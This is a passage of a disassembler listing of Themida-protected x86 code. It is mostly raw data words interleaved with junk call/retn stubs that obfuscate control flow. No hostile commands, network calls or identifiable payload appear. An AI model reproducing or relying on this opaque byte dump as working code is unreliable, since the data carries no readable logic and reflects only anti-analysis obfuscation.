		dd 8BDD88EDh, 2185FFFAh, 0E807D129h, 0Ch, 0F3D7522Ch, 5B24E14Dh
		dd 3EF53EADh, 457ADB81h, 6A5F2C65h, 998D89FFh, 0FF07D100h
		dd 0D12DC1B5h, 55006A07h, 3E8h,	0C35D2000h, 246C895Dh
		dd 24448104h, 1A04h, 0C3554500h, 2C8806A0h, 0E9B3DFBDh
		dd 9, 0E4B11E02h, 0BEAAC7BDh, 1D95FF2Bh, 0E907D114h, 115h
		dd 0B0FE8B66h, 6DB52900h, 0E607D134h, 0DFBF0F70h, 810F71E4h
		dd 5, 0A273EBBFh, 0F613C0Bh, 0F083h, 81665600h,	5B7C75EBh
		dd 0C8B60FF5h, 13D18531h, 6BA07D1h, 8B000000h, 0B99D8BC1h
		dd 0C107D121h, 0BF6604E8h, 0F7664305h, 358529E2h, 0F07D12Eh
		dd 0C82BFEB7h, 8B66D18Bh, 0B3E9D9h, 9D8B0000h, 7D1281Dh
		dd 4C4C858Bh, 0EE8505Fh, 3C000000h, 0A03518Ah, 0F0ECB36Fh
		dd 0FC1D293Dh, 14E9D0h,	0DF010000h, 0F6B1A017h,	2131840Ah
		dd 0F4825CADh, 33489B32h, 835FEB01h, 858907C0h,	7D106DDh
		dd 0F00C083h, 198Eh, 11E800h, 85470000h, 0F317A822h, 594C80Dh
		dd 5AD88D20h, 6059B6B7h, 0D03B5F61h, 10830Fh, 42E90000h
		dd 0E9000000h, 6, 0B61B8ED8h, 8D8B7625h, 0FFFFFFFFh, 19899D03h
		dd 0E18307D1h, 22840F01h, 8B000000h, 0D11B619Dh, 0FFA58307h
		dd 0FEFFFFFFh, 66C2C780h, 0C268C381h, 4C4C9589h, 0F98B505Fh
		dd 0E9h, 0DDB58D00h, 0E907D5DAh, 6, 6DBC213Eh, 6A2270h
		dd 18559D8Bh, 95FF07D1h, 7D10055h, 2D759509h, 0D7B907D1h
		dd 29000010h, 0D1255585h, 0FCE18307h, 0C459531h, 0E8FC07D1h
		dd 12h,	22137FE0h, 0C66B85F6h, 0B18197AFh, 6B4E41E5h, 860F9B91h
		dd 6, 800Fh, 0B85F0000h, 0
; ---------------------------------------------------------------------------
		push	0
		push	edi
		call	sub_5DC347
		and	[edi-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_5DC347	proc near		; CODE XREF: Themida_:005DC33Fp

arg_4		= dword	ptr  8

		pop	edi
		mov	[esp-4+arg_4], edi
		add	[esp-4+arg_4], 19h
		inc	edi
		push	edi
		retn
sub_5DC347	endp

; ---------------------------------------------------------------------------
aLT6LNLa	db 'l°’:6׋½/Ñ',7,'‹Ñ!Ñ',7,'º',0
		align 4
		dd 6A0000h, 3E852h, 5A200000h, 54895AC3h, 44810424h, 1C0424h
		dd 52420000h, 0BAB064C3h, 80A58E3Ah, 890FEA40h,	6, 347DBD8Bh
		dd 33AD07D1h, 3E8D1C2h,	4E983D0h, 6AF475h, 3E851h, 59200000h
		dd 4C8959C3h, 44810424h, 160424h, 51410000h, 3108CAC3h
		dd 0E852006Ah, 3, 5AC35A20h, 4245489h, 4244481h, 18h, 7DC35242h
		dd 4903BE52h, 880Dh, 51958B00h,	6A07D11Bh, 3E85700h, 20000000h
		dd 895FC35Fh, 8104247Ch, 1C042444h, 47000000h, 0E974C357h
		dd 0D37024A8h, 8BCF684Bh, 0D12D558Dh, 0C28B5007h, 0C103188Bh
		dd 0C18B188Bh, 0C203E8D1h, 6A58188Bh, 3E85000h,	20000000h
		dd 8958C358h, 81042444h, 1D042444h, 40000000h, 4E14C350h
		dd 496A4000h, 4A3BE730h, 6899D23h, 0EE807D1h, 0EA000000h
		dd 55512467h, 20E2BF3Ah, 0A8C64A40h, 5F18B3DBh,	0E856006Ah
		dd 3, 5EC35E20h, 4247489h, 4244481h, 19h, 5EC35646h, 8F830589h
		dd 0FE9A6h, 22250000h, 0EE4B1908h, 411CC24Fh, 5482FC27h
		dd 0C5BD833Ch, 7D11Bh, 6F840Fh,	89500000h, 0D11BF1B5h
		dd 0B85F07h, 0E9000000h, 0Bh, 571F87D7h, 0BA8FC788h, 0F354D7Fh
		dd 84h,	0A8D8D00h, 6A07D14Dh, 3E85500h,	20000000h, 895DC35Dh
		dd 8104246Ch, 15042444h, 45000000h, 4F9CC355h, 1D019D33h
		dd 0E1FF07D1h, 0E850006Ah, 3, 58C35820h, 4244489h, 4244481h
		dd 15h,	0D8C35040h, 0B7BB66C8h,	39BD83D3h, 7D11Dh, 43B840Fh
		dd 6A0000h, 3E853h, 5B200000h, 5C895BC3h, 44810424h, 160424h
		dd 53430000h, 8EE32CC3h, 8E853h, 39B70000h, 48A7B6DDh
		dd 85892E1Fh, 7D13249h,	0BD835F5Bh, 7D11D39h, 15840F01h
		dd 8B000004h, 39BD83DEh, 307D11Dh, 3D0860Fh, 860F0000h
		dd 6, 18619D03h, 816007D1h, 4E4BADF7h, 0D98C6675h, 22E1B589h
		dd 0E18007D1h, 51006A04h, 3E8h,	0C3592000h, 244C8959h
		dd 24448104h, 1C04h, 0C3514100h, 479A207Ch, 2D98AEC3h
		dd 0C99D8B5Bh, 0BF07D10Fh, 7EA7C8F2h, 840FC90Ah, 14Ah
		dd 0BE9h, 9857AF00h, 490F3CCh, 0ECC100D5h, 28F5858Bh, 0EE907D1h
		dd 0A000000h, 16FD2A8Dh, 8DCA4B85h, 0CB84546Ah,	0CD8533F8h
		dd 6A07D131h, 3E85000h,	20000000h, 8958C358h, 81042444h
		dd 15042444h, 40000000h, 7C18C350h, 8E9h, 846EFC00h, 0A6BE7F55h
		dd 0FE8B6648h, 60525050h, 84FA56BFh, 0C28B660Ch, 50310F61h
		dd 0DA8B6652h, 54BF310Fh, 5A2E1EF6h, 89585A58h,	44BB2404h
		dd 6A49F2A0h, 57006A00h, 3E8h, 0C35F2000h, 247C895Fh, 24448104h
		dd 1704h, 0C3574700h, 5958FB5Fh, 13BD8531h, 326807D1h
		dd 0E950DC86h, 10h, 0AFE01D05h,	261C9981h, 0CD3E3598h
		dd 0CC1014AFh, 0CD243481h, 6A50C385h, 3E85300h,	20000000h
		dd 895BC35Bh, 8104245Ch, 1D042444h, 43000000h, 51BFC353h
		dd 0E6E17FFEh, 5DA4A2C0h, 32D5BD89h, 0CB8107D1h, 2765FA80h
		dd 2B1595FFh, 852907D1h, 7D113BDh, 38F0Fh, 8B660000h, 5A8589F8h
		dd 6A07D4EAh, 3E85300h,	20000000h, 895BC35Bh, 8104245Ch
		dd 19042444h, 43000000h, 5EE7C353h, 0EF6E09FBh,	9C38166h
		dd 1D6E97Ch, 0B500000h,	0D12E0D9Dh, 858B5F07h, 7D4EA52h
		dd 0E850006Ah, 3, 58C35820h, 4244489h, 4244481h, 18h, 9EC35040h
		dd 1445F829h, 224DEB81h, 0C70AB8h, 18h,	0E851006Ah, 3
		dd 59C35920h, 4244C89h,	4244481h, 15h, 0B7C35141h, 5BD334Fh
		dd 8B07D116h, 0D4EA56B5h, 86C38107h, 8B731875h,	0D10C9D85h
		dd 56006A07h, 3E8h, 0C35E2000h,	2474895Eh, 24448104h, 1D04h
		dd 0C3564600h, 7D9C65F5h, 0AD733D6h, 85011AABh,	7D10F45h
		dd 6A0689h, 3E852h, 5A200000h, 54895AC3h, 44810424h, 140424h
		dd 52420000h, 850996C3h, 7D12D45h, 28F5858Bh, 0B58907D1h
		dd 7D10691h, 96044689h,	2870F60h, 53000000h, 50506159h
		dd 0AE86052h, 67000000h, 0B0975819h, 0D3A4D897h, 52505EBFh
		dd 585A310Fh, 60310F61h, 5A615B53h, 6A9658h, 3E853h, 5B200000h
		dd 5C895BC3h, 44810424h, 180424h, 53430000h, 0B0D3CC3h
		dd 36079F5h, 0D1007DBDh, 0D9953307h, 6107D115h,	28F99D03h
		dd 34BB07D1h, 0FF0C4450h, 0D4EA52B5h, 0C3816607h, 9D8B562Fh
		dd 7D11A8Dh, 22477168h,	0DA8B661Fh, 8E243481h, 6A1F3D44h
		dd 3E85000h, 20000000h,	8958C358h, 81042444h, 1D042444h
		dd 40000000h, 0ACDDC350h, 0E187D913h, 0F89E4D5Eh, 6880Fh
		dd 0B5890000h, 7D11561h, 0EA5A858Dh, 0BD8B07D4h, 7D13339h
		dd 850F5090h, 2, 8B90FDB3h, 0D122E9BDh,	1595FF07h, 6A07D12Bh
		dd 3E85500h, 20000000h,	895DC35Dh, 8104246Ch, 14042444h
		dd 45000000h, 89A9C355h, 0D1256985h, 6E907h, 6EC20000h
		dd 0A9FEF3F2h, 69BD8961h, 0C707D12Eh, 0D11D3985h, 307h
		dd 5E900h, 0D44E0000h, 8365A4EAh, 0D4EA5ABDh, 840F0007h
		dd 3Ah,	0E850006Ah, 3, 58C35820h, 4244489h, 4244481h, 19h
		dd 11C35040h, 29EAB36Dh, 880F57CCh, 6, 2BE19589h, 0E95B07D1h
		dd 21h,	2065BD89h, 305007D1h, 4400110Ch, 0E8C10111h, 11443010h
		dd 114C0002h, 0E9835803h, 0EBE77504h, 4305036h,	11640011h
		dd 10E8C101h, 2114430h,	3116400h, 4E98358h, 1BEBE775h
		dd 10E8C150h, 3116428h,	2114430h, 11642858h, 11043001h
		dd 7504E983h, 8B00EBE7h, 50006AC0h, 3E8h, 0C3582000h, 24448958h
		dd 24448104h, 1404h, 0C3504000h, 859D890Ah, 6A07D101h
		dd 3E85500h, 20000000h,	895DC35Dh, 8104246Ch, 17042444h
		dd 45000000h, 5C5C355h,	9D31B0F7h, 7D10061h, 0BD83DA8Bh
		dd 7D11D39h, 0FF850F03h, 6A000003h, 3E85700h, 20000000h
		dd 895FC35Fh, 8104247Ch, 1D042444h, 47000000h, 0D1C357h
		dd 0F2F15DEDh, 0EC499EACh, 0BD8301B7h, 7D4EA5Ah, 0CB840F00h
		dd 0F000003h, 28Eh, 0FFD98B00h,	0D4EA5AB5h, 0B5CB8107h
		dd 0FF053A86h, 0D12EB195h, 758D8907h, 8107D134h, 7E8A86EBh
		dd 4EB58B5Ch, 6007D4EAh, 858BEEB5h, 7D12D05h, 106C761h
		dd 6A000100h, 3E85300h,	20000000h, 895BC35Bh, 8104245Ch
		dd 1D042444h, 43000000h, 66E1C353h, 3BCC4092h, 0B685E3F9h
		dd 8E0F50h, 89000000h, 6A2434h,	3E856h,	5E200000h, 74895EC3h
		dd 44810424h, 180424h, 56460000h, 66A5DCC3h, 8C0F245Eh
		dd 6, 245D9D8Bh, 0B5FF07D1h, 7D4EA5Ah, 0E850006Ah, 3, 58C35820h
		dd 4244489h, 4244481h, 1Ah, 0CDC35040h,	9448E619h, 0D98A1185h
		dd 22A9BD8Bh, 95FF07D1h, 7D131A5h, 0FFB3C381h, 0B58B2C51h
		dd 7D4EA4Eh, 0E852006Ah, 3, 5AC35A20h, 4245489h, 4244481h
		dd 14h,	0B4C35242h, 2B31858Bh, 6A07D1h,	3E853h,	5B200000h
		dd 5C895BC3h, 44810424h, 1D0424h, 53430000h, 24E841C3h
		dd 5D12FAB0h, 80C2E4F0h, 48BFF3C3h, 89170384h, 0C486h
		dd 52006A00h, 3E8h, 0C35A2000h,	2454895Ah, 24448104h
		dd 1504h, 0C3524200h, 8D896786h, 7D12C81h, 0DE8h, 69883900h
		dd 508C00AAh, 0E34AF79Fh, 81664CCCh, 5BBA73F7h,	1B51958Bh
		dd 9D8B07D1h, 7D13119h,	0F504C283h, 6810Fh, 95890000h
		dd 7D13069h, 6A205089h,	3E85600h, 20000000h, 895EC35Eh
		dd 81042474h, 15042444h, 46000000h, 0EF5DC356h,	0FEE5858Dh
		dd 0B70F07D4h, 0B88689F8h, 81000000h, 0BD05E6F3h, 6A006A06h
		dd 3E85300h, 20000000h,	895BC35Bh, 8104245Ch, 14042444h
		dd 43000000h, 0FF8EC353h, 0D4EA5AB5h, 53006A07h, 3E8h
		dd 0C35B2000h, 245C895Bh, 24448104h, 1804h, 0C3534300h
		dd 717E6914h, 6830FE3h,	89000000h, 0D10C29BDh, 0E995FF07h
		dd 6A07D11Dh, 3E85100h,	20000000h, 8959C359h, 8104244Ch
		dd 15042444h, 41000000h, 0E369C351h, 30F59D8Bh,	0F5007D1h
		dd 0D87h, 66525000h, 0F7478BFh,	0FB8B6631h, 3489585Ah
		dd 50006A24h, 3E8h, 0C3582000h,	24448958h, 24448104h, 1804h
		dd 0C3504000h, 0B33F6F46h, 72E2BB3Ch, 0B5FF0243h, 7D4EA5Ah
		dd 0BB6691B3h, 95FFA22Ah, 7D12D9Dh, 68A0Fh, 9D8B0000h
		dd 7D11965h, 0BF665253h, 5B5B19E9h, 2809BD83h, 0F0007D1h
		dd 2E84h, 53006A00h, 3E8h, 0C35B2000h, 245C895Bh, 24448104h
		dd 1404h, 0C3534300h, 519D8BB2h, 5007D128h, 0FABCC2BFh
		dd 2434894Ch, 0FFDF8B66h, 0D4EA5AB5h, 57006A07h, 3E8h
		dd 0C35F2000h, 247C895Fh, 24448104h, 1504h, 0C3574700h
		dd 11E8AB4Dh, 0FA000000h, 691EEA96h, 0A5037A90h, 2CFD78A3h
		dd 61F2E4E0h, 0E108EB81h, 0FF5B33E0h, 0D132B595h, 57006A07h
		dd 3E8h, 0C35F2000h, 247C895Fh,	24448104h, 1604h, 0C3574700h
		dd 30C6C21h, 0D11605BDh, 5AB5FF07h, 0E907D4EAh,	6, 22233D72h
		dd 9509DD66h, 7D10685h,	270995FFh, 83F807D1h, 0D10FC1BDh
		dd 840F0207h, 5Ch, 25AD9D8Bh, 858B07D1h, 7D11E25h, 0E853006Ah
		dd 3, 5BC35B20h, 4245C89h, 4244481h, 16h, 4CC35343h, 8D89EA0Bh
		dd 7D11EA1h, 6A0000C6h,	3E85100h, 20000000h, 8959C359h
		dd 8104244Ch, 1A042444h, 41000000h, 1EBBC351h, 0E29B3C48h
		dd 0BDBF6624h, 0F98B6683h, 22CD85C7h, 7D1h, 80E90000h
		dd 6AFFFFF3h, 3E85200h,	20000000h, 895AC35Ah, 81042454h
		dd 14042444h, 42000000h, 8153C352h, 7F5CF0CBh, 6AC18B04h
		dd 3E85300h, 20000000h,	895BC35Bh, 8104245Ch, 15042444h
		dd 43000000h, 7827C353h, 1361858Dh, 0EF8107D1h,	703EE61Bh
		dd 53525050h, 6DF5BF66h, 60310F5Bh, 84DE0CBBh, 0BE906h
		dd 11F60000h, 0DBE6EACEh, 0F5C00FE4h, 585A61A0h, 89240489h
		dd 0D11851BDh, 3006A07h, 0D118619Dh, 3A24BF07h,	6A4454h
		dd 69BF858Dh, 0B75607D6h, 0C0835F04h, 3DBD8B05h, 9007D12Fh
		dd 6798A8BBh, 6A905046h, 3E85500h, 20000000h, 895DC35Dh
		dd 8104246Ch, 17042444h, 45000000h, 2396C355h, 9D8B0EEDh
		dd 7D105ADh, 6AFEB70Fh,	55006A00h, 3E8h, 0C35D2000h, 246C895Dh
		dd 24448104h, 1704h, 0C3554500h, 0D0CD99C0h, 13E9h, 5FC61B00h
		dd 0EA62EE74h, 0DA6C6722h, 0D2249282h, 0EE0366Dh, 6A006Ah
		dd 3E857h, 5F200000h, 7C895FC3h, 44810424h, 1B0424h, 57470000h
		dd 0C97E71C3h, 0E8E306DDh, 359D8B46h, 8B07D11Eh, 0D114CD9Dh
		dd 0E195FF07h, 6A07D11Dh, 3E85700h, 20000000h, 895FC35Fh
		dd 8104247Ch, 15042444h, 47000000h, 9729C357h, 0D5668D8Dh
		dd 0BD3307D4h, 7D12A29h, 6AD1FFh, 3E851h, 59200000h, 4C8959C3h
		dd 44810424h, 170424h, 51410000h, 61FCDCC3h, 0E59D8B7Bh
		dd 8307D12Ch, 0D11715BDh, 850F0107h, 69h, 0DE9h, 30031700h
		dd 0CD4951h, 0BBE30789h, 26A4977h, 9E9h, 0BA133700h, 0CB9A4CBBh
		dd 60905846h, 3622ABAh,	619CB760h, 5830F50h, 0BB000000h
		dd 29155CD2h, 58F78190h, 0FF7E3B63h, 0D11DE995h, 57006A07h
		dd 3E8h, 0C35F2000h, 247C895Fh,	24448104h, 1C04h, 0C3574700h
		dd 7E4054B6h, 0B5389C0Ah, 0DEDE920h, 0E80000h, 5D000000h
		dd 69C9ED81h, 6A07D6h, 3E852h, 5A200000h, 54895AC3h, 44810424h
		dd 180424h, 52420000h, 408E2FC3h, 0D7803DE8h, 77858DEDh
		dd 6A07D4BCh, 3E85500h,	20000000h, 895DC35Dh, 8104246Ch
		dd 1C042444h, 45000000h, 510DC355h, 39CE7E1Ch, 295E1BB6h
		dd 0D11D4DBDh, 0B59D8B07h, 5007D11Fh, 7E9h, 0FE8E0500h
		dd 1311551Eh, 64240489h, 35FFh,	6A0000h, 3E851h, 59200000h
		dd 4C8959C3h, 44810424h, 150424h, 51410000h, 0FC921C3h
		dd 384h, 0F8B70F00h, 2F3DB589h,	896407D1h, 25h,	57006A00h
		dd 3E8h, 0C35F2000h, 247C895Fh,	24448104h, 1D04h, 0C3574700h
		dd 80DD4B86h, 67427E48h, 0BF0F664Ch, 2185FFDEh,	6A07D129h
		dd 3E85300h, 20000000h,	895BC35Bh, 8104245Ch, 1C042444h
		dd 43000000h, 62D9C353h, 0E5CA335Bh, 6A0922ECh,	53006AFFh
		dd 3E8h, 0C35B2000h, 245C895Bh,	24448104h, 1C04h, 0C3534300h
		dd 35C7DEFDh, 4E80B363h, 0CB7BBFF4h, 0B5FF52EEh, 7D11529h
		dd 0E856006Ah, 3, 5EC35E20h, 4247489h, 4244481h, 14h, 88C35646h
		dd 95FFFA8Bh, 7D1141Dh,	0FDE9h,	0C3816600h, 0B02722h, 0EE8h
		dd 0B8783800h, 3645A253h, 39227C88h, 0B7BF2252h, 8FBF5BC8h
		dd 0E653902Dh, 840F70h,	0E4000000h, 0C6C78071h,	830F613Ch
		dd 0C6h, 0FDFB70Fh, 0CF81C8B6h,	0D1ADBB3h, 6BAh, 0E9BD2900h
		dd 8B07D11Ah, 0B8D0FC1h, 0E9000000h, 6,	90901FEAh, 0E8C14BFBh
		dd 85895204h, 7D103ADh,	0B98D895Fh, 6607D12Dh, 0BD8BE2F7h
		dd 7D12155h, 0BD8BC82Bh, 7D1112Dh, 0D18BFA8Ah, 71E9h, 0DBBF0F00h
		dd 554C858Bh, 0DE8A4947h, 8B07C083h, 0D12DAD9Dh, 0C08307h
		dd 30D98501h, 0D03B07D1h, 0C830Fh, 8B660000h, 44E9DFh
		dd 0BF660000h, 8D8B414Fh, 0FFFFFFFFh, 6860F51h,	8B000000h
		dd 0D10C599Dh, 0E1835F07h, 23840F01h, 0F000000h, 9D8BFEBFh
		dd 7D130A9h, 0FFFFA583h, 8BFEFFFFh, 0D106ED9Dh,	4C958907h
		dd 8B494755h, 0E9DEh, 0B58D0000h, 7D5EBB4h, 0E851006Ah
		dd 3, 59C35920h, 4244C89h, 4244481h, 1Bh, 0F3C35141h, 59AD0CBDh
		dd 0E99D069Fh, 5, 18DAE269h, 0B006A87h,	0D1280DBDh, 5595FF07h
		dd 0B907D100h, 0EDAh, 0E850006Ah, 3, 58C35820h,	4244489h
		dd 4244481h, 1Ah, 0E5C35040h, 51B4D0B2h, 0E183CC85h, 0E7E781FCh
		dd 0FC5C7664h, 38EF8166h, 0B877h, 8B600000h, 0D12D219Dh
		dd 0DE907h, 758F0000h, 0A8724A84h, 9A766FC7h, 61476DBDh
		dd 0DC8AD22Bh, 0A8F0Fh,	89600000h, 0D13495B5h, 61F98A07h
		dd 0D1C233ADh, 83D003E8h, 0F47504E9h, 66DEB70Fh, 0CF38C781h
		dd 13E8h, 0C6F85400h, 1C8D1CEEh, 0BEAC92DAh, 0E98A8435h
		dd 0DF25C916h, 0BBCF8166h, 880D5FB7h, 6A000000h, 3E85100h
		dd 20000000h, 8959C359h, 8104244Ch, 1B042444h, 41000000h
		dd 21BBC351h, 70B35397h, 665601C8h, 315BF98Bh, 0D132ED95h
		dd 51958B07h
		dd 8007D11Bh, 8D8B39E7h, 7D12D55h, 1BCDBD29h, 8B5007D1h
		dd 3188BC2h, 8B188BC1h,	3E8D1C1h, 58188BC2h, 0E853006Ah
		dd 3, 5BC35B20h, 4245C89h, 4244481h, 1Ah, 56C35343h, 3F55C49Dh
		dd 0BD8BC019h, 7D11881h, 0E851006Ah, 3,	59C35920h, 4244C89h
		dd 4244481h, 1Ah, 8BC35141h, 8E7B4329h,	0BF0FAAD4h, 0C5BD83DAh
		dd 7D11Bh, 72840Fh, 6A0000h, 3E855h, 5D200000h,	6C895DC3h
		dd 44810424h, 1A0424h, 55450000h, 9A99EC3h, 0E6A0B61Ch
		dd 0B8h, 51006A00h, 3E8h, 0C3592000h, 244C8959h, 24448104h
		dd 1D04h, 0C3514100h, 628DB270h, 6B8C89C7h, 870F794Fh
		dd 6, 29919D8Bh, 0BD8B07D1h, 7D12349h, 4D0A8D8Dh, 0BB6607D1h
		dd 8B502048h, 0D118F99Dh, 0E1FF5F07h, 1D39BD83h, 0F0007D1h
		dd 42584h, 53006A00h, 3E8h, 0C35B2000h,	245C895Bh, 24448104h
		dd 1804h, 0C3534300h, 0B230CEB7h, 0E081604Dh, 0F21BA01h
		dd 2101B58Bh, 836107D1h, 0D11D39BDh, 840F0107h,	405h, 0CE9h
		dd 12396200h, 0DDAD28DAh, 0DC605D02h, 39BD83B1h, 307D11Dh
		dd 3B1860Fh, 6A0000h, 3E856h, 5E200000h, 74895EC3h, 44810424h
		dd 1B0424h, 56460000h, 71D075C3h, 52EA32BDh, 85896035h
		dd 7D10BF5h, 6AD98C66h,	3E85300h, 20000000h, 895BC35Bh
		dd 8104245Ch, 18042444h, 43000000h, 1672C353h, 0F2D65ECh
		dd 68Bh, 21958900h, 8007D115h, 6A04E1h,	3E856h,	5E200000h
		dd 74895EC3h, 44810424h, 160424h, 56460000h, 0CAD171C3h
		dd 5E9h, 0B944CB00h, 0C90AF0CDh, 163840Fh, 14E90000h, 9A000000h
		dd 84BB3DCh, 24AFDDA8h,	6539EF19h, 4B1770A8h, 8B4C8C3Ch
		dd 0D128F585h, 0A8F0F07h, 60000000h, 870F47B0h,	0
; ---------------------------------------------------------------------------
		popa
		xor	eax, [ebp+7D131CDh]
		push	0
		push	ebp
		call	sub_5DD58E
		and	[ebp-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_5DD58E	proc near		; CODE XREF: Themida_:005DD586p

arg_4		= dword	ptr  8

		pop	ebp
		mov	[esp-4+arg_4], ebp
		add	[esp-4+arg_4], 14h
		inc	ebp
		push	ebp
		retn
sub_5DD58E	endp

; ---------------------------------------------------------------------------
		pop	esi
		xor	[ebp+7D12F11h],	ecx
		sub	[ebp+7D10719h],	ecx
		push	eax
		mov	ebx, 729432A0h
		mov	[esp], eax
		mov	ebx, [ebp+7D130EDh]
		push	0
		push	0
		push	ecx
		call	sub_5DD5C7
		and	[ecx-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_5DD5C7	proc near		; CODE XREF: Themida_:005DD5BFp

arg_4		= dword	ptr  8

		pop	ecx
		mov	[esp-4+arg_4], ecx
		add	[esp-4+arg_4], 14h
		inc	ecx
		push	ecx
		retn
sub_5DD5C7	endp

; ---------------------------------------------------------------------------
		db 0D0h
; ---------------------------------------------------------------------------
		add	[ebp+7D133E1h],	ebx
		push	1E0C5164h
		jmp	loc_5DD5F7
; ---------------------------------------------------------------------------
		pusha
		retn
; ---------------------------------------------------------------------------
		dw 0A4D1h
		dd 5A0F9EFAh, 6565B454h
		db 0CCh
		db 0AEh, 33h
; ---------------------------------------------------------------------------


loc_5DD5F7:				; CODE XREF: Themida_:005DD5E3j
		xor	dword ptr [esp], 1E13529Bh
		push	0
		push	ebx
		call	sub_5DD609
		and	[ebx-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_5DD609	proc near		; CODE XREF: Themida_:005DD601p

arg_4		= dword	ptr  8

		pop	ebx
		mov	[esp-4+arg_4], ebx
		add	[esp-4+arg_4], 1Dh
		inc	ebx


loc_5DD617:				; CODE XREF: Themida_:005DD61Fj
		push	ebx
		retn
sub_5DD609	endp

; ---------------------------------------------------------------------------
		and	[ecx-1C2B721Ch], al
		jbe	short loc_5DD617
		mov	cl, 4Ch
		mov	bx, 9543h
		call	dword ptr [ebp+7D12B15h]
		push	0
		push	edi
		call	sub_5DD638
		and	[edi-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_5DD638	proc near		; CODE XREF: Themida_:005DD630p

arg_4		= dword	ptr  8

		pop	edi
		mov	[esp-4+arg_4], edi
		add	[esp-4+arg_4], 18h
		inc	edi
		push	edi
		retn
sub_5DD638	endp

; ---------------------------------------------------------------------------
		dd 163AF23Fh, 5A8589E4h, 6A07D4EAh, 3E85500h, 20000000h
		dd 895DC35Dh, 8104246Ch, 19042444h, 45000000h, 81A2C355h
		dd 990B7116h, 153E9h, 53006A00h, 3E8h, 0C35B2000h, 245C895Bh
		dd 24448104h, 1804h, 0C3534300h, 0BE7C24E4h, 128C0F85h
		dd 0E9000000h, 0Dh, 0BDF4C395h,	0F2D964D7h, 493370C4h
		dd 52858BAFh, 0C707D4EAh, 1800h, 8BFCB300h, 0D4EA56B5h
		dd 0CB816607h, 0BD8BBE44h, 7D116F1h, 0C9D858Bh,	6A07D1h
		dd 3E852h, 5A200000h, 54895AC3h, 44810424h, 160424h, 52420000h
		dd 287848C3h, 2840Fh, 0FE8B0000h, 6A0689h, 3E855h, 5D200000h
		dd 6C895DC3h, 44810424h, 160424h, 55450000h, 0E84C91C3h
		dd 0BD8B2AB7h, 7D12879h, 28F5858Bh, 0BB6607D1h,	46896452h
		dd 0D8BF0F04h, 0DF8B6650h, 1243489h, 0D11CC18Dh, 52B5FF07h
		dd 6A07D4EAh, 3E85000h,	20000000h, 8958C358h, 81042444h
		dd 1B042444h, 40000000h, 6B21C350h, 0DDB2A0C2h,	0AE973A1h
		dd 49000000h, 0DA1FD499h, 641369B3h, 0DEA96815h, 0DF8B814Eh
		dd 56240481h, 8A7ED025h, 5A858DDEh, 2B07D4EAh, 0D11AC1BDh
		dd 5F575007h, 6A240489h, 3E85200h, 20000000h, 895AC35Ah
		dd 81042454h, 14042444h, 42000000h, 0F54C352h, 68Bh, 998D8900h
		dd 0FF07D120h, 0D12B1595h, 6FEF8007h, 53006A61h, 3E8h
		dd 0C35B2000h, 245C895Bh, 24448104h, 1404h, 0C3534300h
		dd 0A19D8B3Ah, 0C707D12Eh, 0D11D3985h, 307h, 56006A00h
		dd 3E8h, 0C35E2000h, 2474895Eh,	24448104h, 1B04h, 0C3564600h
		dd 4B47523Ch, 0EEE72D8Ch, 651BD31h, 9D8B07D1h, 7D1284Dh
		dd 0D58D89h, 0BD8307D1h, 7D4EA5Ah, 38840F00h, 81000000h
		dd 7580B2C3h, 48E954h, 6A0000h,	3E857h,	5F200000h, 7C895FC3h
		dd 44810424h, 170424h, 57470000h, 0A75E7BC3h, 8820FA0h
		dd 0F000000h, 28Bh, 50FA8A00h, 110C30h,	0C1011144h, 443010E8h
		dd 4C000211h, 83580311h, 0E77504E9h, 305036EBh,	64001104h
		dd 0E8C10111h, 11443010h, 11640002h, 0E9835803h, 0EBE77504h
		dd 0E8C1501Bh, 11642810h, 11443003h, 64285802h,	4300111h
		dd 4E98311h, 0EBE775h, 6AC08Bh,	3E850h,	58200000h, 448958C3h
		dd 44810424h, 180424h, 50400000h, 7D286C3h, 0FF54962h
		dd 682h, 0D1B58900h, 8307D126h,	0D11D39BDh, 850F0307h
		dd 4B8h, 0BD83DF8Bh, 7D4EA5Ah, 0A9840F00h, 6A000004h, 3E85200h
		dd 20000000h, 895AC35Ah, 81042454h, 1A042444h, 42000000h
		dd 40C6C352h, 1D30FF70h, 5AB5FF7Dh, 5107D4EAh, 85BBBF66h
		dd 0B195FF5Bh, 6A07D12Eh, 3E85300h, 20000000h, 895BC35Bh
		dd 8104245Ch, 1D042444h, 43000000h, 6F77C353h, 0B8CCEFA6h
		dd 783C3737h, 7E78166h,	850F6046h, 5, 0DC48CABAh, 418D8B01h
		dd 6107D131h, 0EA4EB58Bh, 0BD8907D4h, 7D118A1h,	106C7h
		dd 6A0001h, 3E853h, 5B200000h, 5C895BC3h, 44810424h, 1B0424h
		dd 53430000h, 0FC6F8DC3h, 29C9C20Ah, 99D2321h, 5007D11Ah
		dd 910917BFh, 2434891Bh, 0E853006Ah, 3,	5BC35B20h, 4245C89h
		dd 4244481h, 1Ah, 0C0C35343h, 0ACE36A92h, 880F9199h, 8
		dd 2810Fh, 0FD8A0000h, 8BFAB70Fh, 0D133F99Dh, 5AB5FF07h
		dd 6A07D4EAh, 3E85000h,	20000000h, 8958C358h, 81042444h
		dd 1A042444h, 40000000h, 9AE9C350h, 2AF8F8C6h, 6BFF83Ah
		dd 0FF417360h, 0D131A595h, 52006A07h, 3E8h, 0C35A2000h
		dd 2454895Ah, 24448104h, 1604h,	0C3524200h, 53844D1Ch
		dd 175D9D8Bh, 665F07D1h, 0B58BF98Bh, 7D4EA4Eh, 6ED7BE60h
		dd 0BF0F32B3h, 858B61C8h, 7D12B31h, 0BE9h, 1088FA00h, 29C7C2D0h
		dd 0EA463D67h, 0C48689h, 6A0000h, 3E851h, 59200000h, 4C8959C3h
		dd 44810424h, 170424h, 51410000h, 0AD4563C3h, 6830FF8h
		dd 89000000h, 0D13431BDh, 51958B07h, 6A07D11Bh,	3E85700h
		dd 20000000h, 895FC35Fh, 8104247Ch, 1A042444h, 47000000h
		dd 0C273C357h, 469A69D8h, 4C283C9h, 0E850006Ah,	3, 58C35820h
		dd 4244489h, 4244481h, 1Bh, 16C35040h, 0EF93AC5Dh, 661DA093h
		dd 5089DF8Bh, 52006A20h, 3E8h, 0C35A2000h, 2454895Ah, 24448104h
		dd 1904h, 0C3524200h, 337E1B96h, 0FE99DFFh, 7E000000h
